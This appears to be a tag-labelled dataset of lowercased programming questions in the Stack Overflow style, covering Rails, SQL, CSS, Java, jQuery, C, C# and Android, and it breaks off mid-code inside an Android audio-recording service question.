how to define an instance variable from a model used in rails partial _header <pre><code>application.html.erb &lt;html&gt; . . . &lt;body&gt;   &lt;%= render  layouts/header  %&gt;     &lt;div class= container &gt;       &lt;%= yield %&gt;     &lt;/div&gt; &lt;/body&gt; . . . &lt;/html&gt; </code></pre>   an instance variable from my article model is used in a dropdown of the header.   <pre><code>_header.html.erb  . . &lt;li class= dropdown &gt; . . &lt;%= link_to(@articles.first.source  target:  _blank ) do %&gt; . . &lt;/li&gt; . . </code></pre>   do i have to include @articles = articles.all in every view  such as:    <pre><code>class photoscontroller &lt; applicationcontroller  def index    @articles = article.approved.all end  def new   @articles = article.approved.all end  def show    @articles = article.approved.all end   etc  </code></pre>   or is there a better way,ruby-on-rails
adding a span within a ruby link_to  i am getting an error with this piece of code. can anyone see why    <pre><code>&lt;% link_to( #{(current_user.acting_as ==  participant )   t(:uploaded_by_host) : t(:uploaded_by_you)}    javascript:void(0)   :class =&gt;  button button-mini button-blue ) do %&gt; &lt;span class= icon icon-plus-sign &gt;&lt;/span&gt; &lt;% end %&gt; </code></pre>   error is:   <blockquote>    undefined method `stringify_keys  for  javascript:void(0) :string  </blockquote>,ruby-on-rails
asp.net grid view save checked rows to datatable (paging is already done)  i implemented paging for one of my gridviews.  now i want that all checked boxes(which are kept in first column of gridview) to be inserted to database.  how can i achieve this  please let me know.     i want to know how can i save the checked rows to the data table  and then re-bind to this temporary data table to grid view    if some body navigate back and uncheck check box for the row then how can i remove it again from the temporary datatable,asp.net
dismiss popover from a table selection  i m sorry if this duplicates other threads. i ve pored through about a dozen  over several hours  but none seem to quite apply to my situation. namely;   <ol> <li>a button presents a popover</li> <li>the popover contains a table view  nested inside a navigation controller</li> <li>the user navigates to the second level of the nav controller (a second tableviewcontroller)  then makes a selection</li> <li>upon making the selection  the popover should dismiss  and pass back the indexpath.row to the original screen.</li> </ol>   importantly  i m using storyboards and segues to do this (this may be part of the problem!)    i ve tried implementing custom delegate methods to do this  but i m getting hopelessly tangled up. mainly because    a) the actual delegate is two levels away  and i m having trouble conveying this  up the chain   as it were. b) the [segue destinationviewcontroller] is the navigationcontroller. i m not sure how to get a hook into the actual tableviews it contains  to retrieve or set properties (such as the delegate)    does this make any sense to anyone  reading back  this question is almost as bamboozled as i am. if you can decipher it  and have any advice  i d be very grateful.,objective-c
sql: how to get avg on each day with a single query  i would like to get the average value of each day. for example  i would like to get 4 instead of getting 3 and 5 on  20130511 . how can i do that on a single query  (not hard code)   <pre><code>select val from table 1 where           </code></pre>   <strong>table1 :</strong>   <pre> date      val ----------------  20130511 | 3  20130511 | 5  20130512 | 5  20130512 | 1  20130512 | 2  20130512 | 6  20130512 | 2  20130513 | 2  </pre>,sql
how to use stickyswitch library by mr.gwonhyeok as simple on off toggle button   i want to implement simple on/off toggle button to display notification channel and to stop the notification channel from the activity itself  using stickyswitch by gwonhyeok.    my code is below    <pre><code>@override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);      if (android.os.build.version.sdk_int &gt;= android.os.build.version_codes.o) {         notificationmanager mnotificationmanager =                 (notificationmanager) getsystemservice(context.notification_service);         int importance = notificationmanager.importance_high;         notificationchannel mchannel = new notificationchannel(channnel_id  channel_name  importance);         mchannel.setdescription(channel_desc);         mchannel.setlockscreenvisibility(mchannel.getlockscreenvisibility());          mnotificationmanager.createnotificationchannel(mchannel);     }      stickyswitch = findviewbyid(r.id.sticky_switch);     stickyswitch.setonselectedchangelistener(new stickyswitch.onselectedchangelistener() {         @override         public void onselectedchange(stickyswitch.direction direction  string s) {             if(stickyswitch.s)                      help             }     }); }  public void displaynotification() {      notificationcompat.builder mbuilder = new notificationcompat.builder(this  channnel_id)             .setsmallicon(android.r.drawable.ic_panda)             .setcontenttitle( panda )             .setpriority(notificationcompat.priority_high)             .setvisibility(notificationcompat.visibility_private)      notificationmanager notificationmanager = (notificationmanager) getsystemservice(notification_service);     notificationmanager.notify(notification_id  mbuilder.build()); } </code></pre>   and my xml ........................................   <pre><code>&lt;io.ghyeok.stickyswitch.widget.stickyswitch     android:id= @+id/sticky_switch      android:layout_width= wrap_content      android:layout_height= wrap_content      android:layout_centerinparent= true      app:ss_animationduration= 500      app:ss_iconpadding= 18dp      app:ss_iconsize= 22dp      app:ss_lefticon= @drawable/ic_pandaoff      app:ss_lefttext= off      app:ss_righticon= @drawable/ic_pandaon      app:ss_righttext= on      app:ss_selectedtextsize= 14sp      app:ss_sliderbackgroundcolor= @color/colorsliderbackground      app:ss_switchcolor= @color/colorswitchcolor      app:ss_textcolor= @color/colortextcolor      app:ss_textsize= 12sp      app:ss_animationtype= curved      app:ss_textvisibility= visible  /&gt; </code></pre>,android
why do i still have a right margin when i have it set to 0 all around   i ve created this <a href= https://jsfiddle.net/hpufo/tctznh73/1/  rel= nofollow noreferrer >fiddle</a> so that you can see what i am talking about. what i want is to have the  empty cart  button to be right under total  but for some reason there is a right-margin pushing it out of place. i have the margin set to zero for that element and i don t see it being overwritten in the inspector  yet there is still a right margin. if i try to float it to the right  the margin goes away  but it messes up the placement of the button under it. also another problem i am having is the last shop item with the img missing. it is out of place for some reason. i haven t been able to figure out why it is slightly below the others.    here is the styles for the empty cart button:   <pre><code>#emptycartbtn{   display: block;   font-size: 0.67em;   font-weight: 100;   border: none;   color: white;   margin: 0px;   background-color: transparent; } </code></pre>   here is it in html   <pre><code>&lt;div id= cartbottom &gt;   &lt;label id= total &gt;     &lt;span&gt;total: $&lt;/span&gt;&lt;span&gt;0.00&lt;/span&gt;   &lt;/label&gt;   &lt;input type= button  value= empty cart  id= emptycartbtn  &gt;   &lt;input type= button  value= confirm purchase  id= purchasebtn &gt; &lt;/div&gt; </code></pre>   also here is the styles for my shop items:   <pre><code>.shopitem{   display: inline-block;   width: 250px;   height: 340px;   border: 1px solid #32c996;   text-align: center;   margin: 20px 20px 0px 0px; } </code></pre>,css
to build a shared assembly  does it require overhead of signing  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2877481/shared-assembly-is-signing-required >shared assembly - is signing required </a>    </blockquote>     if i want to build a shared assembly  does that require the overhead of signing and managing key pairs,c#
parsing monthdate string in a leap year  please consider the following snippet:   <pre><code>    simpledateformat parser = new simpledateformat( mmdd );     parser.setlenient(false);     try {         date date = parser.parse( 0229 );         system.out.println(date);     } catch (parseexception e) {         e.printstacktrace();     } </code></pre>   i have a text field which should contain a date in the format mmdd (no year  as it should always default to the current year).     this year  2012  a leap year  i found myself in the strange situation of not being able to parse the valid date february 29th.     the calendar used by the code above always defaults to 1970  which  though luck  was not a leap year. hence trying to parse  0229  always throws a parse exception.    any idea on how to parse this,java
cant delete the cells  behind the iphone keyboard   in a tableview  when i am in edit mode  i present a keyboard for the user to type  but i also want him to be able to delete the cells.    the problem is  when the keyboard appears  i cant access the cells at the bottom of the table  even if i scroll up  it goes back  so i can delete cells that i can see and those which i can scroll and see  not the extreme ones.    so shall i reduce the height of the tableview till the top of the keyboard   if yes  how do i accomplish it,iphone
how to access internet address property of an item in the temporary internet files folder  i know this folder has some trickery associated with it via hidden files and cache.  i m looking to retrieve the internet address detail of the file that you can see while using windows explorer  but i don t see a way to do it.   <pre><code>static void main(string[] args) {   var path = path.combine(environment.getfolderpath(environment.specialfolder.internetcache)  content.ie5 );    directoryinfo dinfo = new directoryinfo(@ c:\users\username\appdata\local\microsoft\windows\temporary internet files );       dostuff(dinfo);      console.readline(); }  static void dostuff(directoryinfo directory) {      fileinfo[] taskfiles = directory.getfiles( rm0000* );//file name starts with rm0000      foreach (system.io.fileinfo fi in taskfiles)     {         console.writeline( {0}: {1}:    fi.name  fi.creationtime); //this part is where i looked for the address details  but there is no option to display that property.      } </code></pre>   is there a way to retrieve the internet address info for each file in the temporary internet files folder,c#
upload image on a parallel directory s folder  i have two directories:   <ol> <li>/publichtml</li> <li>/csp.example.com</li> </ol>   my code is in <code>csp.example.com/classes/ep-class.php</code> and i want to upload my file on <code>/publichtml/upload/photo</code> folder. how can i achieve that also <code>/publichtml</code> is accessible using <code>example.com</code> so i am taking target directory as a absolute url     here is my code:   <pre><code>if(isset($_files[ imagefile ][ type ][0])) {     $filename=$_files[ imagefile ][ name ][0];     // storing source path of the file in a variable     $sourcepath = $_files[ imagefile ][ tmp_name ][0];     // target path where file is to be stored      $targetpath = siteurl. upload/photo/ .$filename;       if(move_uploaded_file($sourcepath $targetpath))     {         return  yes ;     }     else     {         echo $_files[ imagefile ][ errors ][0];         die( file upload error ! );     } } </code></pre>   any help would be highly appreciated.,php
iphone - setting a property on another class  i have a property declared on a class:    <strong>.h</strong>   <pre><code>@interface myclass : uiview {   bool dostuff; }  @property bool dostuff; </code></pre>   <strong>.m</strong>   <pre><code>@synthesize dostuff; </code></pre>   this class is a delegate of another one. on the other class  i am trying to set this property  doing something like   <pre><code>[delegate setdostuff:yes]; </code></pre>   i receive an error telling me that  method -setdostuff: not found...     how do i declare the property on the class  so other classes can read and set them     thanks.,iphone
warning:[unchecked] unchecked conversion  i am getting following warning :   <pre><code>warning:[unchecked] unchecked conversion [javac]found:java.util.list [javac] required:java.util.list&lt;edu.fullerton.cs476s09.espressobar.jpa.espressobar_milk&gt; return query.getresultlist(); </code></pre>   what may the problem and probable solution. i am using following code:   <pre><code>@stateless @remote(order.class) //@entitylisteners(mylistener.class) public class orderbean implements order {      /**      * the entity manager object  injected by the container      */      @persistencecontext      private entitymanager manager;      public list&lt;espressobar_milk&gt; listmilk()      {         query query = manager.createquery( select m from espressobar_milk m );         return query.getresultlist();     }... ..... ..} </code></pre>   thanks in advance for any suggestion.,java
how do i print array of objects  objective c  i have the class stockholging where its created the properties and methods costindollars &amp; valueindollars.. i need to create a instance of each stock add each object to the array and then print it useing fast enumeration.    //instantiation and creation of each stock   <pre><code>    stockholding *o1 = [[stockholding alloc]init];     stockholding *o2 = [[stockholding alloc]init];     stockholding *o3 = [[stockholding alloc]init]; </code></pre>   //setting the values  and calling the methods costindollars and valueindollars for each object   <pre><code>    [o1 setpurchaseshareprice:2.30];     [o1 setcurrentshareprice:4.50];     [o1 setnumberofshares:40];     [o1 costindollars];     [o1 valueindollars];      [o2 setpurchaseshareprice:12.10];     [o2 setcurrentshareprice:10.58];     [o2 setnumberofshares:30];     [o2 costindollars];     [o2 valueindollars];      [o3 setpurchaseshareprice:45.10];     [o3 setcurrentshareprice:49.51];     [o3 setnumberofshares:210];     [o3 costindollars];     [o3 valueindollars]; </code></pre>   // creation an array and adding objects to the array   <pre><code>    nsmutablearray *bolsa = [[nsmutablearray alloc]init];     [bolsa addobject:o1];     [bolsa addobject:o2];     [bolsa addobject:o3]; </code></pre>,objective-c
rgd: vector iterator to get index position  this is my iterator position code   <pre><code>struct node { int nodeid; vector&lt;fingertable&gt; ftable; vector&lt;string&gt; data; };  vector&lt;node&gt; cnode;  vector&lt;node&gt;::iterator position = find(cnode.begin() cnode.end()  id); </code></pre>   i got about 100 objects  i am trying to find the index/element/position of e.g nodeid  80  assuming that my object is all sorted in ascending order by nodeid.    my concern is speed and memory usage  i was previously using    <pre><code>for(int i=0;i&lt;cnode.size();i++) { //if logic-- match nodeid with the nodeid input.. then assign the i to an integer.. } </code></pre>   but now i am trying to use  and iterator  i heard its faster.. any suggestion on getting it fix or is there a better way to find my vector index by its value  nodeid     i know map is a good std container for my case but i a bit run out of time to do the changes so i got to stick with vector..   <pre><code>vector&lt;node&gt;::iterator position = find(cnode.begin() cnode.end()  id); </code></pre>   error output when i try compile the iterator line above.   <pre><code>in member function ‘void chord::removepeer(int)’: testfile.cpp:532:69: error: no matching function for call to ‘chord::find(std::vector&lt;chord::node&gt;::iterator  std::vector&lt;chord::node&gt;::iterator  int&amp;)’ testfile.cpp:532:69: note: candidate is: testfile.cpp:177:5: note: int chord::find(int  int  bool) testfile.cpp:177:5: note:   no known conversion for argument 1 from ‘std::vector&lt;chord::node&gt;::iterator {aka __gnu_cxx::__normal_iterator&lt;chord::node*  std::vector&lt;chord::node&gt; &gt;}’ to ‘int’ </code></pre>,c++
why not operator in javascript excute the first part of if statement   i am trying to check <code>if(a==b)</code> then <code>if(c==d)</code> and after that <code>if(a and b values) != (b and c values)</code>.   <pre><code>var a = 3; var b = 3; var c = 4; var d = 4;  if ((a == b) != (c == d)){   document.write( yes ); }else{     document.write( no ); } </code></pre>   why not operator in javascript excute the first part of if statement,javascript
mousewheel e.delta not working right in firefox   i m making a single-page website that reacts to mouse wheel events.   <pre><code>    var supportswheel = false;       function dosomething (e) {         if (e.type ==  wheel ) supportswheel = true;         else if (supportswheel) return;         var delta = ((e.deltay || -e.wheeldelta || e.detail) &gt;&gt; 10) || 1;         //if mousewheel is going up         if (delta &gt; 0) {             slidedown();         }         //if mousewheel is going down         else if (delta &lt; 0) {             slideup();         }     }      document.addeventlistener( wheel   dosomething);     document.addeventlistener( mousewheel   dosomething);     document.addeventlistener( dommousescroll   dosomething); </code></pre>   so this works perfectly in chrome and safari but in firefox  both directions of the mouse wheel activate slidedown() function. as opposed to declaring slideup when the mouse wheel goes up and slidedown when it s going down. any ideas how to fix it,javascript
"js buttons with max value  i wanted to create two buttons that increments value and stops at the max value changing the button s colour to red to indicate the button cannot be clicked anymore and has reached the max value  then a reset button to rest it all back to 0. i have part of the code but tried adding the max value to the buttons and the reset button but its not working. so far this is what i have which basically increments the value by 1 with each click.can anyone help please     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var button1 = 0;
 var button1 = 0;
 
 function onclick1() {
   button1 += 1;
   document.getelementbyid( button1 ).innerhtml = button1;
 };
 
 function onclick2() {
   button2 += 1;
   document.getelementbyid( button2 ).innerhtml = button2;
 };</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;button type= button  onclick= onclick1() &gt;click&lt;/button&gt;
 &lt;p&gt;&lt;a id= button1 &gt;0&lt;/a&gt;
 &lt;/p&gt;
 &lt;button type= button  onclick= onclick2() &gt;click&lt;/button&gt;
 &lt;p&gt;&lt;a id= button2 &gt;0&lt;/a&gt;
 &lt;/p&gt;</code></pre>
 </div>
 </div>",javascript
how to use a for loop or an array to shorten a if else script with similar ids  i have this script which show and hides an input field based on value of a drop down. i have multiple dropdowns and multiple input fields to show  so i did ifelse. but how can i use a for loop or an array to make this script shorter. my ids are similar with a number at the end of it.    <pre><code>$( select ).on( change  function(){     if( $(this).val()=== other ){            if( this.id ==  bedconfigdrop0 ){                $( #bedconfigother0 ).show();           }           else if( this.id ==  bedconfigdrop1 ){               $( #extrasetbedconfigother1 ).show();           }           else if( this.id ==  bedconfigdrop2 ){                $( #extrasetbedconfigother2 ).show();           }           else if( this.id ==  bedconfigdrop3 ){                $( #extrasetbedconfigother3 ).show();           }           else if( this.id ==  bedconfigdrop4 ){                $( #extrasetbedconfigother4 ).show();           }     }else if( $(this).val() !=  other ){          if( this.id ==  bedconfigdrop0 ){                $( #bedconfigother ).hide();           }           else if( this.id ==  bedconfigdrop1 ){               $( #extrasetbedconfigother1 ).hide();           }           else if( this.id ==  bedconfigdrop2 ){                $( #extrasetbedconfigother2 ).hide();           }           else if( this.id ==  bedconfigdrop3 ){                $( #extrasetbedconfigother3 ).hide();           }           else if( this.id ==  bedconfigdrop4 ){                $( #extrasetbedconfigother4 ).hide();           }     } }); </code></pre>,jquery
{{ !$last &&      ||  . }} is this working as ternary operator or if-else condition  i am developing an application using angularjs. i have used the <code>if-else</code> conditions and ternary operator. once i found a code <code>{{ !$last &amp;&amp;      ||  . }}</code> to put the <code> </code> after each entry and <code>.</code> at the end. it is working fine  but i have a confusion about its working process. is it working like an <code>if-else</code> condition or ternary operator  my whole example is as below.    <pre><code>&lt;span data-ng-repeat= allsuppliers in vm.allincentivesuppliers | unique: suppliername  &gt;     {{allsuppliers.suppliername }}{{ !$last &amp;&amp;      ||  . }} &lt;/span&gt; </code></pre>,angularjs
jquery ajax sending data with parameter  i have a simple jquery ajax method that send data to a web method which brings data from da database. when i send number it works properly but i don t know how to send data with parameter.    for example this method works properly:   <pre><code>function catchdata() {      $.ajax({          type:  post            url:  rank.aspx/bringdata            data:  {lmt:16}            contenttype:  application/json; charset=utf-8            datatype:  json            async: true           cache: false           success: function(ret){              s = ret.d;              dos(s  0);          }           error: function(x e){              alert( error occur );          }       }); } </code></pre>   but this below code does not work and error function raise:   <pre><code>function catchdata() {      $.ajax({          type:  post            url:  rank.aspx/bringdata            data: {              lmt:total          }           async: true           cache: false           success: function(ret){              s = ret.d;              dos(s  0);          }           error: function(x e){              alert( error occur );          }      }); } </code></pre>,jquery
how to get contact change  add and remove with uri provided by system call back onchange android   i am building an app   there is a requirement of notifying app when a new contact added or existing contact gets edited or removed. although a lot of questions are already available those have answers as well. but my question is little bit different. i am using approach of content observer as mentioned below in the code   <pre><code>contactchangeobserver contactchangeobserver = new contactchangeobserver(this  new handler());     getcontentresolver().registercontentobserver(contactscontract.contacts.content_uri  true  contactchangeobserver); </code></pre>   and in contactchangeobserver class i am overriding onchange() method as it was already recommended in many of the post. code is mentioned below   <pre><code>public class contactchangeobserver extends contentobserver {  private context mcontext; public contactchangeobserver(context context  handler handler) {     super(handler);     mcontext = context; }  @override public void onchange(boolean selfchange  uri uri) {     super.onchange(selfchange  uri);     list&lt;contactsmodel&gt; listofdbcontact = new childtrackingdb().getallcontacts(childtrackingdb.getinstance(mcontext));     list&lt;contactsmodel&gt; listofcellphonecontact = contactutility.readcontactdirectoryofphone(mcontext);     if (listofcellphonecontact.size() == listofdbcontact.size()) {         //this is edit case     } else  if (listofcellphonecontact.size() &gt; listofdbcontact.size()) {         //this is add case      }else  {         //this is remove case     } } </code></pre>   }    i am getting call back of onchange() as expected(in all cases of adding  removing and editing case). as mentioned in above example  i am overriding onchange() that has uri param. and when i get call back i also receive uri as well. my question is that can that uri be useful to only get that contact which got changed or added  the uri i am getting is    <pre><code>content://com.android.contacts </code></pre>   in my example code  if contact is edited and the device has let s suppose more than thousands contacts then it is a very time consuming to iterate over each contact.or is there any better approach available for the problem.,android
what s the use of the new  scoped css    i found this on <a href= http://caniuse.com  rel= nofollow >caniuse.com</a>  and i was wondering what kind of problems it solves which can t be done with the current in css. for example    <pre><code>&lt;div&gt;   &lt;style scoped&gt;     h1 { color: firebrick;   }     p  { color: saddlebrown; }   &lt;/style&gt;   &lt;h1&gt;this is an h1 in a scoped div.        regardless of global styles the text should be  firebrick .   &lt;/h1&gt;   &lt;p&gt;this is a paragraph in a scoped div. the text should be  saddlebrown .&lt;/p&gt; &lt;/div&gt;  &lt;p&gt;this is another paragraph      that will unaffected by the scoped style and remain black.&lt;/p&gt; </code></pre>   can easily be done as     <pre><code>&lt;style&gt;   div.scoped h1 { color: firebrick; }   div.scoped p  { color: saddlebrown; } &lt;/style&gt;  &lt;div class= scoped &gt;   &lt;h1&gt;this is an h1 without scoped div.        regardless of global styles the text should be  firebrick .   &lt;/h1&gt;   &lt;p&gt;this is a paragraph without scoped div.       the text should be  saddlebrown .&lt;/p&gt; &lt;/div&gt;  &lt;p&gt;this is another paragraph      that will unaffected by the scoped style and remain black.&lt;/p&gt; </code></pre>   or am i missing anything     <strong>edit</strong><br> isn t this reintroducing <strong>inline styles</strong>  the least favored of the three ways of styling,css
updating sql query value with select statement  i am trying to execute a query which is something like:    <pre><code>update table set column=(select column1 from table1); </code></pre>   i just want to store the value from other table to my column     but when i try my sql query it says   <pre><code>error 1242 (21000): subquery returns more than 1 row </code></pre>   definitely this means my table1 contains more than 1 row so i want to know that is there any way to store data into column from other table with multiple row.    or basically saving content of other table as a text something like    <pre><code> update table set column= data in text from other table ; </code></pre>,sql
jquery gives  microsoft jscript runtime error: object doesn t support this property or method  when run  i am using a jquery plugin which is an input mask for a text box. the textbox and jquery is part of a custom user control and is added dynamically to a repeater control  which is part of a wizard step and control.    however  when i reach the step where the repeater and the user control with jquery is added  the jquery throws the following error:  microsoft jscript runtime error: object doesn t support this property or method .    all my code is this:   <pre><code>&lt;script src= ../../scripts/jquery.js  type= text/javascript &gt;&lt;/script&gt; &lt;script src= src= ../../scripts/jquery.maskedinput.js  type= text/javascript &gt;&lt;/script&gt;  &lt;script language= javascript  type= text/javascript &gt;   jquery(function($){    $( #&lt;%= date.clientid %&gt; ).mask( 99/99/9999 );  }); &lt;/script&gt;  &lt;asp:textbox id= date  runat= server /&gt; </code></pre>   so  i am really stuck as to why i am getting this problem. can anyone help me  because i do no know why i should be getting this error.    thanks,jquery
when should i use an outlet and property  say for a button   i can never remember  when should i use an outlet and property  say for a button,objective-c
true or false condition in c programming  my assignment is to create a password judging program which will determine if the password i entered is strong or not. i can t figure out how to set the criteria to true.    here are the criteria.    it should have at least eight (8) characters. it should have at least one (1) digit. it should have at least one (1) lowercase letter. it should have at least one (1) uppercase letter.    and here is what i made so far.   <pre><code>#include &lt;stdio.h&gt; #include &lt;ctype.h&gt; #include &lt;string.h&gt; #define t 100 #define max 255  int main(){     char string[t][max];     int t;     int i  j;     int crit1[t]  crit2[t]  crit3[t]  crit4[t];      scanf( %d   &amp;t);     getchar();     for (i=0; i&lt;t; i++){         fgets(string[i]  sizeof(string[i])  stdin);         if(strlen(string[i])&gt;=8)                 crit1[i]=1;     }      for (i=0; i&lt;t; i++){         for(j=0; j&lt;strlen(string[i]); j++){             if(!isdigit(string[i][j])){                 crit2[i]=1;                 }             if(!islower(string[i][j])){                 crit3[i]=1;                 }             if(!isupper(string[i][j])){                 crit4[i]=1;                 }         }     }      for (i=0; i&lt;t; i++){         if (crit1[i]==1 &amp;&amp; crit2[i]==1 &amp;&amp; crit3[i]==1 &amp;&amp; crit4[i]==1)         printf( case #%d: strong\n   i+1);          else         printf( case #%d: not strong\n   i+1);     }      return 0; } </code></pre>   if i enter  password123  for the first case and  password123  for the second case. the program will output strong for both cases when it should only recognize the 2nd case strong and the 1st case should output not strong.,c
how to identify button press among several button in objective c  i have 4 button (b1 b2 b3 b4) and a label (lab).now i want to display button title in label when a particular button is pressed.i did it with four (ibaction) method one for every button.but i want to do it with 1(ibaction) method.so the problem is to to how to identify which button is pressed    i knew a method something like  getbytitle  method.but i need better solution.can anyone help    i also need answer about how to identify button in segment control.advanced thanx for reply.,objective-c
string input to a class variable in c#  i m new to c# and i tried making a  student  class that takes the student name and few other things. i have a problem at taking student name as i get an exception when typing the name as input.    in declaration    <pre><code>public class student {      public string studentname;// this one      public long studentid;      public int score1;      ...etc } </code></pre>   then i have inside main:    <pre><code>student[] student = new student[n]; // the n is determined by a previous block    of code. for (int i = 0; i &lt; n; i++) {     check = false; // ignore this one.     console.writeline( student {0}   i + 1);     console.write( \t \t name:  );     string input = console.readline();     student[i].studentname = input;      // i get an exception at that last line  after typing whatever string.i feel like i ve done something horribly wrong. } </code></pre>   thanks :),c#
how to get access token refreshed from facebook   as i am new to .net  i am facing few problems with facebook on which i am working now . hello every one here   i am using this code to access facebook friends information. here i am taking access token from facebook manually. for that i need to login every time to facebook which i don t want here. i want my access token to be refreshed when i run my application. is there any way to do this. please   help me out here   <pre><code>enter code here private void button1_click(object sender  eventargs e) {    string straccesstoken =  ;    var client = new facebookclient(straccesstoken);    var result = client.get( me/friends );  } </code></pre>,c#
implements service class the app is crash when phone switch off and on  i am new in android  my question is that when i start the recording through power button with  help of service class code is proper work when i switch off my phone and open again  my app crash.please help me..    <strong>my service class is:--</strong>   <pre><code>public class powerbuttonservice extends service implements medialistner {  broadcastreceiver mreceiver; static final string audio_recorder_file_ext_mp3 =  .mp3 ; static final string audio_recorder_file_ext_3gp =  .3gp ; static final string audio_recorder_file_ext_mp4 =  .mp4 ; private handler mhandler; sharedpreferences prefs; private runnable mrunnable; string file_exts[] = { audio_recorder_file_ext_mp3          audio_recorder_file_ext_mp4  audio_recorder_file_ext_3gp }; private static final string audio_recorder_folder =  audiorecorder ; private int count; sessions sessions; int recordcount = 0; private editor meditor; private mediarecorder recorder = null; private int currentformat = 0; private int output_formats[] = { mediarecorder.outputformat.mpeg_4          mediarecorder.outputformat.three_gpp };  @override public void oncreate() {     super.oncreate();     intentfilter filter = new intentfilter(intent.action_screen_on);     filter.addaction(intent.action_screen_off);     mreceiver = new myreceiver();     registerreceiver(mreceiver  filter);     sessions = new sessions(powerbuttonservice.this);     sessions.setserviceinstance(this);     prefs = getsharedpreferences( app   context.mode_private);     meditor = prefs.edit(); } @override public void ondestroy() {     meditor.putboolean( powerbuttonservicestart   false);     meditor.commit();     unregisterreceiver(mreceiver);     toast.maketext(getapplicationcontext()               recording from power button is stopped   toast.length_short)             .show();     log.i( ondestroy reciever    called );     super.ondestroy(); }  @override public void onstart(intent intent  int startid) {     final vibrator vibe = (vibrator) this             .getsystemservice(context.vibrator_service);     if (!prefs.getboolean( check   false)) {         recordcount = recordcount + 1;         if (recordcount == 3) {             if (prefs.getboolean( recordingoninsideapp   false)) {                 vibe.vibrate(1000);                 recordcount = 0;                 toast.maketext(getapplicationcontext()                           recording is already running   toast.length_long)                         .show();             } else {                 meditor.putboolean( powerbutton   true);                 meditor.commit();                 if (null == recorder &amp;&amp; !(sessions.getrecordonactivity())) {                     recordcount = 0;                     system.out.println( recoding on );                     recorder = new mediarecorder();                     recorder.setaudiosource(mediarecorder.audiosource.mic);                     recorder.setoutputformat(output_formats[currentformat]);                     recorder.setaudioencoder(mediarecorder.audioencoder.amr_nb);                     recorder.setoutputfile(getfilename());                     recorder.setonerrorlistener(errorlistener);                     recorder.setoninfolistener(infolistener);                     try {                         recorder.prepare();                         recorder.start();                         vibe.vibrate(700);                         notifyuser();                         mhandler = new handler();                         mrunnable = new runnable() {                             @override                             public void run() {                                 if (null != recorder) {                                     meditor.putboolean( powerbutton   false);                                     meditor.putstring( powerbuttontime                                                00:00:00 );                                     count = 0;                                     mtimer.cancel();                                     meditor.commit();                                     sessions.setrecordonservice(false);                                     recordcount = 0;                                     recorder.stop();                                     recorder.reset();                                     recorder.release();                                     system.out.println( hello helloo );                                     sessions.stoppowerbuttonrecording();                                     vibe.vibrate(3000);                                     recorder = null;                                 }                                 log.e( ho rha hai    goodndnd );                             }                         };                         mhandler.postdelayed(mrunnable  900000);                         sessions.setrecordonservice(true);                         starttimer(meditor);                         sessions.startpowerbuttonservicetime();                         vibe.vibrate(1000);                     } catch (exception e) {                         e.printstacktrace();                     }                 } else {                     if ((sessions.getrecordonactivity())) {                         sessions.getserviceactivity();                         vibe.vibrate(5000);                     }                     if (null != recorder) {                         sessions.setrecordonservice(false);                         recordcount = 0;                         recorder.stop();                         recorder.reset();                         recorder.release();                         sessions.stopservicetimer();                         vibe.vibrate(500);                         recorder = null;                         meditor.putboolean( powerbutton   false);                         meditor.putstring( powerbuttontime    00:00:00 );                         count = 0;                         mtimer.cancel();                         meditor.commit();                         sessions.setrecordonservice(false);                         recordcount = 0;                         recorder.stop();                         recorder.reset();                         recorder.release();                         system.out.println( hello helloo );                         sessions.stoppowerbuttonrecording();                         vibe.vibrate(3000);                         recorder = null;                     }                 }             }         }         new handler().postdelayed(new runnable() {             @override             public void run() {                 system.out.println( time over... );                 recordcount = 0;             }         }  3000);     } else {         vibe.vibrate(1000);         toast.maketext(getapplicationcontext()                   recording from widget is already running                   toast.length_long).show();     } }  private string getfilename() {     string filepath = environment.getexternalstoragedirectory().getpath();     file file = new file(filepath  audio_recorder_folder);      if (!file.exists()) {         file.mkdirs();     }      simpledateformat formatter = new simpledateformat( dd_mmm_yy_hh_mm_ss );     string datestring = formatter.format(new date(system             .currenttimemillis()));     return (file.getabsolutepath() +  /  +  rec_  + datestring + file_exts[currentformat]); }  private mediarecorder.onerrorlistener errorlistener = new mediarecorder.onerrorlistener() {     @override     public void onerror(mediarecorder mr  int what  int extra) {     } };  private mediarecorder.oninfolistener infolistener = new mediarecorder.oninfolistener() {     @override     public void oninfo(mediarecorder mr  int what  int extra) {     } }; private timer mtimer;  @override public ibinder onbind(intent intent) {     return null; }  @override public void onmediastoplistner() {     if (null != recorder) {         if (mhandler != null) {             mhandler.removecallbacks(mrunnable);         }         meditor.putboolean( powerbutton   false);         meditor.putstring( powerbuttontime    00:00:00 );         count = 0;         if (mtimer != null) {             mtimer.cancel();         }         meditor.commit();         recordcount = 0;         recorder.stop();         recorder.reset();         recorder.release();         vibrator vibe = (vibrator) this                 .getsystemservice(context.vibrator_service);         vibe.vibrate(1000);         system.out.println( onmediastoplistner in power button service );         system.out.println( powerbutton                   + prefs.getboolean( powerbutton   false));         system.out.println( powerbuttontime                   + prefs.getstring( powerbuttontime     ));         recorder = null;     } }  @override public void onmediastartlistner() {  }  @suppresswarnings( deprecation ) public void notifyuser() {      notificationmanager notificationmanager = (notificationmanager) this             .getsystemservice(context.notification_service);      intent intent = new intent(this  splashactivity.class);     pendingintent contentintent = pendingintent.getactivity(this  0              intent  pendingintent.flag_update_current);     notification notification = new notification(r.drawable.icon               recording start   system.currenttimemillis());     notification.flags = notification.flag_auto_cancel             | notification.default_lights | notification.default_sound;     notification.setlatesteventinfo(this   recording find    .....               contentintent);     notificationmanager.notify(10  notification);  }  public void starttimer(final editor editor) {     try {         mtimer = new timer();         mtimer.scheduleatfixedrate(new timertask() {              @override             public void run() {                 string timer = string.format( %02d:%02d:%02d                           count / 3600  (count % 3600) / 60  (count % 60));                 count++;                 editor.putstring( powerbuttontime   timer);                 editor.commit();                 system.out.println( this is only for  testing  + timer);             }         }  1000  1000);      } catch (exception e) {         e.printstacktrace();     } }  @override public void ontaskremoved(intent rootintent) {     if (prefs.getboolean( powerbutton   false)) {         toast.maketext(getapplicationcontext()                   recording has been saved successfully   toast.length_long)                 .show();         final vibrator vibe = (vibrator) this                 .getsystemservice(context.vibrator_service);         if (null != recorder) {             meditor.putboolean( powerbutton   false);             meditor.putstring( 